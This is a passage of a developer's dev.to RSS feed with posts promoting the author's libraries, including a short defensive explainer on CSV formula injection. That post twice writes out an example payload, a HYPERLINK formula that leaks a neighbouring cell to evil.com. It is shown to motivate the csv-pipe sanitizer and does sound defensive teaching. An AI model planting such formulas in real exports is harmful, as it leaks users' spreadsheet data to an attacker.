                        &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2492950%2Fc058fa5d-3387-4fe8-91fc-d980cbd048e2.jpg" class="crayons-avatar__image" alt="" width="96" height="96"&gt;
                      &lt;/span&gt;
                      &lt;span class="crayons-link crayons-subtitle-2 mt-5"&gt;Myroslav Martsin&lt;/span&gt;
                    &lt;/a&gt;
                  &lt;/div&gt;
                  &lt;div class="print-hidden"&gt;
                    
                      Follow
                    
                  &lt;/div&gt;
                  &lt;div class="author-preview-metadata-container"&gt;&lt;/div&gt;
                &lt;/div&gt;
              &lt;/div&gt;
            &lt;/div&gt;

          &lt;/div&gt;
          &lt;a href="https://dev.to/myroslavmartsin/csv-pipe-read-and-write-csv-in-typescript-several-times-faster-than-papaparse-167k" class="crayons-story__tertiary fs-xs"&gt;&lt;time&gt;Jun 22&lt;/time&gt;&lt;span class="time-ago-indicator-initial-placeholder"&gt;&lt;/span&gt;&lt;/a&gt;
        &lt;/div&gt;
      &lt;/div&gt;

    &lt;/div&gt;

    &lt;div class="crayons-story__indention"&gt;
      &lt;h2 class="crayons-story__title crayons-story__title-full_post"&gt;
        &lt;a href="https://dev.to/myroslavmartsin/csv-pipe-read-and-write-csv-in-typescript-several-times-faster-than-papaparse-167k" id="article-link-3964988"&gt;
          csv-pipe: read and write CSV in TypeScript, several times faster than papaparse
        &lt;/a&gt;
      &lt;/h2&gt;
        &lt;div class="crayons-story__tags"&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/javascript"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;javascript&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/typescript"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;typescript&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/webdev"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;webdev&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/node"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;node&lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="crayons-story__bottom"&gt;
        &lt;div class="crayons-story__details"&gt;
          &lt;a href="https://dev.to/myroslavmartsin/csv-pipe-read-and-write-csv-in-typescript-several-times-faster-than-papaparse-167k" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left"&gt;
            &lt;div class="multiple_reactions_aggregate"&gt;
              &lt;span class="multiple_reactions_icons_container"&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/sparkle-heart-5f9bee3767e18deb1bb725290cb151c25234768a0e9a2bd39370c382d02920cf.svg" width="24" height="24"&gt;
                  &lt;/span&gt;
              &lt;/span&gt;
              &lt;span class="aggregate_reactions_counter"&gt;1&lt;span class="hidden s:inline"&gt;&amp;nbsp;reaction&lt;/span&gt;&lt;/span&gt;
            &lt;/div&gt;
          &lt;/a&gt;
            &lt;a href="https://dev.to/myroslavmartsin/csv-pipe-read-and-write-csv-in-typescript-several-times-faster-than-papaparse-167k#comments" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left flex items-center"&gt;
              

              &lt;span class="hidden s:inline"&gt;Add&amp;nbsp;Comment&lt;/span&gt;
            &lt;/a&gt;
        &lt;/div&gt;
        &lt;div class="crayons-story__save"&gt;
          &lt;small class="crayons-story__tertiary fs-xs mr-2"&gt;
            2 min read
          &lt;/small&gt;
            
              &lt;span class="bm-initial crayons-icon c-btn__icon"&gt;
                

              &lt;/span&gt;
              &lt;span class="bm-success crayons-icon c-btn__icon"&gt;
                

              &lt;/span&gt;
            
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;


</description>
      <category>javascript</category>
      <category>performance</category>
      <category>showdev</category>
      <category>typescript</category>
    </item>
    <item>
      <title>[Boost]</title>
      <dc:creator>Myroslav Martsin</dc:creator>
      <pubDate>Thu, 18 Jun 2026 16:31:54 +0000</pubDate>
      <link>https://dev.to/myroslavmartsin/-16p4</link>
      <guid>https://dev.to/myroslavmartsin/-16p4</guid>
      <description>&lt;div class="ltag__link--embedded"&gt;
  &lt;div class="crayons-story "&gt;
  &lt;a href="https://dev.to/myroslavmartsin/the-csv-export-vulnerability-you-probably-have-and-a-one-line-fix-2cmk" class="crayons-story__hidden-navigation-link"&gt;The CSV export vulnerability you probably have (and a one-line fix)&lt;/a&gt;


  &lt;div class="crayons-story__body crayons-story__body-full_post"&gt;
    &lt;div class="crayons-story__top"&gt;
      &lt;div class="crayons-story__meta"&gt;
        &lt;div class="crayons-story__author-pic"&gt;

          &lt;a href="/myroslavmartsin" class="crayons-avatar  crayons-avatar--l  "&gt;
            &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2492950%2Fb6e3e89f-ea38-4214-a65f-58d09e724d29.JPG" alt="myroslavmartsin profile" class="crayons-avatar__image" width="800" height="534"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
        &lt;div&gt;
          &lt;div&gt;
            &lt;a href="/myroslavmartsin" class="crayons-story__secondary fw-medium m:hidden"&gt;
              Myroslav Martsin
            &lt;/a&gt;
            &lt;div class="profile-preview-card relative mb-4 s:mb-0 fw-medium hidden m:inline-block"&gt;
              
                Myroslav Martsin
                
                
              
              &lt;div id="story-author-preview-content-3934160" class="profile-preview-card__content crayons-dropdown branded-7 p-4 pt-0"&gt;
                &lt;div class="gap-4 grid"&gt;
                  &lt;div class="-mt-4"&gt;
                    &lt;a href="/myroslavmartsin" class="flex"&gt;
                      &lt;span class="crayons-avatar crayons-avatar--xl mr-2 shrink-0"&gt;
                        &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2492950%2Fb6e3e89f-ea38-4214-a65f-58d09e724d29.JPG" class="crayons-avatar__image" alt="" width="800" height="534"&gt;
                      &lt;/span&gt;
                      &lt;span class="crayons-link crayons-subtitle-2 mt-5"&gt;Myroslav Martsin&lt;/span&gt;
                    &lt;/a&gt;
                  &lt;/div&gt;
                  &lt;div class="print-hidden"&gt;
                    
                      Follow
                    
                  &lt;/div&gt;
                  &lt;div class="author-preview-metadata-container"&gt;&lt;/div&gt;
                &lt;/div&gt;
              &lt;/div&gt;
            &lt;/div&gt;

          &lt;/div&gt;
          &lt;a href="https://dev.to/myroslavmartsin/the-csv-export-vulnerability-you-probably-have-and-a-one-line-fix-2cmk" class="crayons-story__tertiary fs-xs"&gt;&lt;time&gt;Jun 18&lt;/time&gt;&lt;span class="time-ago-indicator-initial-placeholder"&gt;&lt;/span&gt;&lt;/a&gt;
        &lt;/div&gt;
      &lt;/div&gt;

    &lt;/div&gt;

    &lt;div class="crayons-story__indention"&gt;
      &lt;h2 class="crayons-story__title crayons-story__title-full_post"&gt;
        &lt;a href="https://dev.to/myroslavmartsin/the-csv-export-vulnerability-you-probably-have-and-a-one-line-fix-2cmk" id="article-link-3934160"&gt;
          The CSV export vulnerability you probably have (and a one-line fix)
        &lt;/a&gt;
      &lt;/h2&gt;
        &lt;div class="crayons-story__tags"&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/security"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;security&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/typescript"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;typescript&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/javascript"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;javascript&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/webdev"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;webdev&lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="crayons-story__bottom"&gt;
        &lt;div class="crayons-story__details"&gt;
          &lt;a href="https://dev.to/myroslavmartsin/the-csv-export-vulnerability-you-probably-have-and-a-one-line-fix-2cmk" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left"&gt;
            &lt;div class="multiple_reactions_aggregate"&gt;
              &lt;span class="multiple_reactions_icons_container"&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/fire-f60e7a582391810302117f987b22a8ef04a2fe0df7e3258a5f49332df1cec71e.svg" width="24" height="24"&gt;
                  &lt;/span&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/multi-unicorn-b44d6f8c23cdd00964192bedc38af3e82463978aa611b4365bd33a0f1f4f3e97.svg" width="24" height="24"&gt;
                  &lt;/span&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/sparkle-heart-5f9bee3767e18deb1bb725290cb151c25234768a0e9a2bd39370c382d02920cf.svg" width="24" height="24"&gt;
                  &lt;/span&gt;
              &lt;/span&gt;
              &lt;span class="aggregate_reactions_counter"&gt;14&lt;span class="hidden s:inline"&gt;&amp;nbsp;reactions&lt;/span&gt;&lt;/span&gt;
            &lt;/div&gt;
          &lt;/a&gt;
            &lt;a href="https://dev.to/myroslavmartsin/the-csv-export-vulnerability-you-probably-have-and-a-one-line-fix-2cmk#comments" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left flex items-center"&gt;
              

              9&lt;span class="hidden s:inline"&gt;&amp;nbsp;comments&lt;/span&gt;
            &lt;/a&gt;
        &lt;/div&gt;
        &lt;div class="crayons-story__save"&gt;
          &lt;small class="crayons-story__tertiary fs-xs mr-2"&gt;
            1 min read
          &lt;/small&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;


</description>
    </item>
    <item>
      <title>The CSV export vulnerability you probably have (and a one-line fix)</title>
      <dc:creator>Myroslav Martsin</dc:creator>
      <pubDate>Thu, 18 Jun 2026 16:30:51 +0000</pubDate>
      <link>https://dev.to/myroslavmartsin/the-csv-export-vulnerability-you-probably-have-and-a-one-line-fix-2cmk</link>
      <guid>https://dev.to/myroslavmartsin/the-csv-export-vulnerability-you-probably-have-and-a-one-line-fix-2cmk</guid>
      <description>&lt;p&gt;You let users export data to CSV. They open it in a spreadsheet. A cell runs a formula. That is CSV injection, and most export endpoints have it.&lt;/p&gt;

&lt;p&gt;Any cell starting with &lt;code&gt;=&lt;/code&gt;, &lt;code&gt;+&lt;/code&gt;, &lt;code&gt;-&lt;/code&gt;, &lt;code&gt;@&lt;/code&gt;, a tab, or a carriage return is treated as a formula. An attacker-controlled name like &lt;code&gt;=HYPERLINK("http://evil.com?x="&amp;amp;A1)&lt;/code&gt; then runs on open and leaks a neighboring cell. The CSV is perfectly valid, so escaping commas does nothing here.&lt;/p&gt;

&lt;p&gt;The fix is to prefix formula-leading cells. &lt;a href="https://github.com/martsinlabs/csv-pipe" rel="noopener noreferrer"&gt;csv-pipe&lt;/a&gt; has it built in:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;stringify&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;csv-pipe&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;rows&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;=HYPERLINK("http://evil.com?x="&amp;amp;A1)&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;note&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;attacker&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;}];&lt;/span&gt;

&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;sanitizeFormulas&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="c1"&gt;// name,note&lt;/span&gt;
&lt;span class="c1"&gt;// "'=HYPERLINK(""http://evil.com?x=""&amp;amp;A1)",attacker&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The leading &lt;code&gt;'&lt;/code&gt; makes the spreadsheet show the cell as text instead of running it (the doubled quotes are normal CSV escaping). It only touches string and array cells; numbers and dates are left alone.&lt;br&gt;
Turn it on for any export of untrusted data.&lt;/p&gt;

&lt;p&gt;csv-pipe is a small, zero-dependency CSV library that encodes and parses, both directions typed and streaming, with this guard built in.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/martsinlabs/csv-pipe" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://martsinlabs.github.io/csv-pipe/" rel="noopener noreferrer"&gt;Docs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.npmjs.com/package/csv-pipe" rel="noopener noreferrer"&gt;npm&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>typescript</category>
      <category>javascript</category>
      <category>webdev</category>
    </item>
    <item>
      <title>[Boost]</title>
      <dc:creator>Myroslav Martsin</dc:creator>
      <pubDate>Mon, 17 Nov 2025 19:50:13 +0000</pubDate>
      <link>https://dev.to/myroslavmartsin/-5c4o</link>
      <guid>https://dev.to/myroslavmartsin/-5c4o</guid>
      <description>&lt;div class="ltag__link--embedded"&gt;
  &lt;div class="crayons-story "&gt;
  &lt;a href="https://dev.to/myroslavmartsin/with-css-media-queries-hidden-doesnt-mean-inactive-3fig" class="crayons-story__hidden-navigation-link"&gt;With CSS media queries, hidden doesn’t mean inactive.&lt;/a&gt;


  &lt;div class="crayons-story__body crayons-story__body-full_post"&gt;
    &lt;div class="crayons-story__top"&gt;
      &lt;div class="crayons-story__meta"&gt;
        &lt;div class="crayons-story__author-pic"&gt;

          &lt;a href="/myroslavmartsin" class="crayons-avatar  crayons-avatar--l  "&gt;
            &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2492950%2Fb6e3e89f-ea38-4214-a65f-58d09e724d29.JPG" alt="myroslavmartsin profile" class="crayons-avatar__image" width="800" height="534"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
        &lt;div&gt;
          &lt;div&gt;
            &lt;a href="/myroslavmartsin" class="crayons-story__secondary fw-medium m:hidden"&gt;
              Myroslav Martsin
            &lt;/a&gt;
            &lt;div class="profile-preview-card relative mb-4 s:mb-0 fw-medium hidden m:inline-block"&gt;
              
                Myroslav Martsin
                
                
              
              &lt;div id="story-author-preview-content-3024487" class="profile-preview-card__content crayons-dropdown branded-7 p-4 pt-0"&gt;
                &lt;div class="gap-4 grid"&gt;
                  &lt;div class="-mt-4"&gt;
                    &lt;a href="/myroslavmartsin" class="flex"&gt;
                      &lt;span class="crayons-avatar crayons-avatar--xl mr-2 shrink-0"&gt;
                        &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2492950%2Fb6e3e89f-ea38-4214-a65f-58d09e724d29.JPG" class="crayons-avatar__image" alt="" width="800" height="534"&gt;
                      &lt;/span&gt;
                      &lt;span class="crayons-link crayons-subtitle-2 mt-5"&gt;Myroslav Martsin&lt;/span&gt;
                    &lt;/a&gt;
                  &lt;/div&gt;
                  &lt;div class="print-hidden"&gt;
                    
                      Follow
                    
                  &lt;/div&gt;
                  &lt;div class="author-preview-metadata-container"&gt;&lt;/div&gt;
                &lt;/div&gt;
              &lt;/div&gt;
            &lt;/div&gt;

          &lt;/div&gt;
          &lt;a href="https://dev.to/myroslavmartsin/with-css-media-queries-hidden-doesnt-mean-inactive-3fig" class="crayons-story__tertiary fs-xs"&gt;&lt;time&gt;Nov 14 '25&lt;/time&gt;&lt;span class="time-ago-indicator-initial-placeholder"&gt;&lt;/span&gt;&lt;/a&gt;
        &lt;/div&gt;
      &lt;/div&gt;

    &lt;/div&gt;

    &lt;div class="crayons-story__indention"&gt;
      &lt;h2 class="crayons-story__title crayons-story__title-full_post"&gt;
        &lt;a href="https://dev.to/myroslavmartsin/with-css-media-queries-hidden-doesnt-mean-inactive-3fig" id="article-link-3024487"&gt;
          With CSS media queries, hidden doesn’t mean inactive.
        &lt;/a&gt;
      &lt;/h2&gt;
        &lt;div class="crayons-story__tags"&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/angular"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;angular&lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="crayons-story__bottom"&gt;
        &lt;div class="crayons-story__details"&gt;
          &lt;a href="https://dev.to/myroslavmartsin/with-css-media-queries-hidden-doesnt-mean-inactive-3fig" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left"&gt;
            &lt;div class="multiple_reactions_aggregate"&gt;
              &lt;span class="multiple_reactions_icons_container"&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/multi-unicorn-b44d6f8c23cdd00964192bedc38af3e82463978aa611b4365bd33a0f1f4f3e97.svg" width="24" height="24"&gt;
                  &lt;/span&gt;
              &lt;/span&gt;
              &lt;span class="aggregate_reactions_counter"&gt;1&lt;span class="hidden s:inline"&gt;&amp;nbsp;reaction&lt;/span&gt;&lt;/span&gt;
            &lt;/div&gt;
          &lt;/a&gt;
            &lt;a href="https://dev.to/myroslavmartsin/with-css-media-queries-hidden-doesnt-mean-inactive-3fig#comments" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left flex items-center"&gt;
              

              &lt;span class="hidden s:inline"&gt;Add&amp;nbsp;Comment&lt;/span&gt;
            &lt;/a&gt;
        &lt;/div&gt;
        &lt;div class="crayons-story__save"&gt;
          &lt;small class="crayons-story__tertiary fs-xs mr-2"&gt;
            1 min read
          &lt;/small&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;


</description>
      <category>angular</category>
    </item>
    <item>
      <title>With CSS media queries, hidden doesn’t mean inactive.</title>
      <dc:creator>Myroslav Martsin</dc:creator>
      <pubDate>Fri, 14 Nov 2025 21:41:07 +0000</pubDate>
      <link>https://dev.to/myroslavmartsin/with-css-media-queries-hidden-doesnt-mean-inactive-3fig</link>
      <guid>https://dev.to/myroslavmartsin/with-css-media-queries-hidden-doesnt-mean-inactive-3fig</guid>
      <description>&lt;p&gt;The component still renders, runs lifecycles, and keeps subscriptions alive. &lt;br&gt;
All that background logic quietly eats memory and slows your app down. &lt;/p&gt;

&lt;p&gt;NGX-MQ solves the problem. &lt;br&gt;
Signal-based media queries that prevent rendering before it starts — nothing runs unless it truly matters. &lt;/p&gt;

&lt;p&gt;Give it a try — your app will thank you! 🚀 &lt;/p&gt;

&lt;p&gt;npm: &lt;a href="https://www.npmjs.com/package/ngx-mq" rel="noopener noreferrer"&gt;https://www.npmjs.com/package/ngx-mq&lt;/a&gt;&lt;br&gt;
GitHub: &lt;a href="https://github.com/martsinlabs/ngx-mq" rel="noopener noreferrer"&gt;https://github.com/martsinlabs/ngx-mq&lt;/a&gt;&lt;/p&gt;

</description>
      <category>angular</category>
    </item>
  </channel>
</rss>
